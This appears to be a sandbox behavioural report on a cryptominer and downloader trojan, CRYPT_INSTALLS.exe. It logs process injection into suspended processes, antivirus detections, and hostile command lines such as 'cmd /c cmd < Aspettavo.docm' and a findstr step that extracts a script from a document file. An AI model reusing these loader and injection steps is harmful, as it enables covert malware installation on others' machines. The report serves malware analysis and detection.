RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove Setup Metadata MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExW Sept. 8, 2021, 9:42 a.m.	key_handle: 0x00000218 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1016 called NtSetContextThread to modify thread in remote process 2760
Process injection	Process 2292 called NtSetContextThread to modify thread in remote process 1888
NtSetContextThread Sept. 8, 2021, 9:42 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4310498 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000005b4 process_identifier: 2760	1	0	0
NtSetContextThread Sept. 8, 2021, 9:47 a.m.	registers.eip: 2000355780 registers.esp: 7600808 registers.edi: 0 registers.eax: 867744 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000214 process_identifier: 1888	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1016 resumed a thread in remote process 2760
Process injection	Process 2112 resumed a thread in remote process 1232
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000005b4 suspend_count: 1 process_identifier: 2760	1	0	0
NtResumeThread Sept. 8, 2021, 9:47 a.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 1232	1	0	0

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

Lionic	Trojan.MSIL.Miner.a!c
Cylance	Unsafe
K7GW	Trojan-Downloader ( 0058192b1 )
Cybereason	malicious.053aba
Symantec	Trojan.Gen.2
ESET-NOD32	a variant of MSIL/TrojanDownloader.Tiny.BFJ
APEX	Malicious
Kaspersky	HEUR:Trojan-Downloader.MSIL.Miner.gen
Avast	Win32:PWSX-gen [Trj]
Sophos	Mal/Generic-S
McAfee-GW-Edition	Artemis!Trojan
FireEye	Generic.mg.56c100bab6222d31
SentinelOne	Static AI - Malicious PE
Webroot	W32.Trojan.Gen
Microsoft	Trojan:Script/Phonzy.C!ml
ZoneAlarm	HEUR:Trojan-Downloader.MSIL.Miner.gen
McAfee	RDN/Generic Downloader.x
eGambit	PE.Heur.InvalidSig
Fortinet	MSIL/Tiny.BFL!tr.dldr
BitDefenderTheta	Gen:NN.ZemsilF.34126.am2@a4tB9ki
AVG	Win32:PWSX-gen [Trj]
CrowdStrike	win/malicious_confidence_80% (W)

Executed a process and injected code into it, probably while unpacking (45 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 8, 2021, 9:41 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1016	1	0
NtResumeThread Sept. 8, 2021, 9:41 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1016	1	0
NtResumeThread Sept. 8, 2021, 9:41 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 1016	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x00000340 suspend_count: 1 process_identifier: 1016	1	0
CreateProcessInternalW Sept. 8, 2021, 9:42 a.m.	thread_identifier: 656 thread_handle: 0x000005b4 process_identifier: 2760 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\CRYPT_INSTALLS.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\CRYPT_INSTALLS.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000005bc	1	1
NtGetContextThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000005b4	1	0
NtAllocateVirtualMemory Sept. 8, 2021, 9:42 a.m.	process_identifier: 2760 region_size: 139264 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000005bc	1	0
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL±Wà0¸âÅ à@ nÈ@ÅOàÔÈðtÅ H.textð· ¸ `.rsrcÔà¼@@.relocÄ@B base_address: 0x00400000 process_identifier: 2760 process_handle: 0x000005bc	1	1
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: base_address: 0x00402000 process_identifier: 2760 process_handle: 0x000005bc	1	1
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: P8hÔàDD4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°¤StringFileInfo000004b0,FileDescription 0FileVersion0.0.0.08InternalNamePretors.exe(LegalCopyright @OriginalFilenamePretors.exe4ProductVersion0.0.0.08Assembly Version0.0.0.0äâêï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x0041e000 process_identifier: 2760 process_handle: 0x000005bc	1	1
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: Àä5 base_address: 0x00420000 process_identifier: 2760 process_handle: 0x000005bc	1	1
WriteProcessMemory Sept. 8, 2021, 9:42 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2760 process_handle: 0x000005bc	1	1
NtSetContextThread Sept. 8, 2021, 9:42 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4310498 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000005b4 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000005b4 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x0000015c suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x0000019c suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x00000280 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000002b4 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000003f8 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000006cc suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x0000020c suspend_count: 1 process_identifier: 2760	1	0
NtGetContextThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000000e8	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000000e8 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x00000214 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x00000640 suspend_count: 1 process_identifier: 2760	1	0
CreateProcessInternalW Sept. 8, 2021, 9:42 a.m.	thread_identifier: 1788 thread_handle: 0x00000820 process_identifier: 2728 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\eth.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\eth.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\eth.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000828	1	1
NtResumeThread Sept. 8, 2021, 9:42 a.m.	thread_handle: 0x000007b8 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread Sept. 8, 2021, 9:47 a.m.	thread_handle: 0x0000012c suspend_count: 1 process_identifier: 2728	1	0
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 2244 thread_handle: 0x000000ec process_identifier: 2252 current_directory: filepath: track: 1 command_line: dllhost.exe filepath_r: stack_pivoted: 0 creation_flags: 32 (NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x0000013c	1	1
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 556 thread_handle: 0x0000013c process_identifier: 492 current_directory: filepath: track: 1 command_line: cmd /c cmd < Aspettavo.docm filepath_r: stack_pivoted: 0 creation_flags: 32 (NORMAL_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x000000ec	1	1
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 2324 thread_handle: 0x00000088 process_identifier: 2112 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: C:\Windows\System32\cmd.exe track: 1 command_line: cmd filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 1772 thread_handle: 0x0000008c process_identifier: 2208 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: C:\Windows\System32\findstr.exe track: 1 command_line: findstr /V /R "^MXTmYNagWuMGokUkyBUwMSznxUsGnfuYAwUnxyAWGwvUlUJSsvVBkfAUDcttvMQGqNuidvQqwYcKvmgmknfwxFNlBqUYqcmUk$" Ritrovar.docm filepath_r: C:\Windows\system32\findstr.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 2840 thread_handle: 0x00000090 process_identifier: 1232 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com track: 1 command_line: Ama.exe.com U filepath_r: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com stack_pivoted: 0 creation_flags: 525328 (CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
NtResumeThread Sept. 8, 2021, 9:47 a.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 1232	1	0
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 2448 thread_handle: 0x00000094 process_identifier: 240 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: C:\Windows\System32\PING.EXE track: 1 command_line: ping localhost filepath_r: C:\Windows\system32\PING.EXE stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 1052 thread_handle: 0x0000013c process_identifier: 2292 current_directory: C:\Users\test22\AppData\Local\Temp\IXP000.TMP filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com U filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x00000140	1	1
CreateProcessInternalW Sept. 8, 2021, 9:47 a.m.	thread_identifier: 996 thread_handle: 0x00000214 process_identifier: 1888 current_directory: filepath: track: 1 command_line: C:\Users\test22\AppData\Local\Temp\IXP000.TMP\Ama.exe.com filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000021c	1	1
NtGetContextThread Sept. 8, 2021, 9:47 a.m.	thread_handle: 0x00000214	1	0
NtAllocateVirtualMemory Sept. 8, 2021, 9:47 a.m.	process_identifier: 1888 region_size: 434176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 4 (PAGE_READWRITE) base_address: 0x000b0000 allocation_type: 12289 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000021c	1	0
WriteProcessMemory Sept. 8, 2021, 9:47 a.m.	buffer: base_address: 0x000b0000 process_identifier: 1888 process_handle: 0x0000021c	1	1
WriteProcessMemory Sept. 8, 2021, 9:47 a.m.	buffer: ÿÿÿÿûÿ(üÿPýÿmèÿÿ jHâýÿ± base_address: 0xfffde000 process_identifier: 1888 process_handle: 0x0000021c	1	1
NtSetContextThread Sept. 8, 2021, 9:47 a.m.	registers.eip: 2000355780 registers.esp: 7600808 registers.edi: 0 registers.eax: 867744 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000214 process_identifier: 1888	1	0

CRYPT_INSTALLS.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All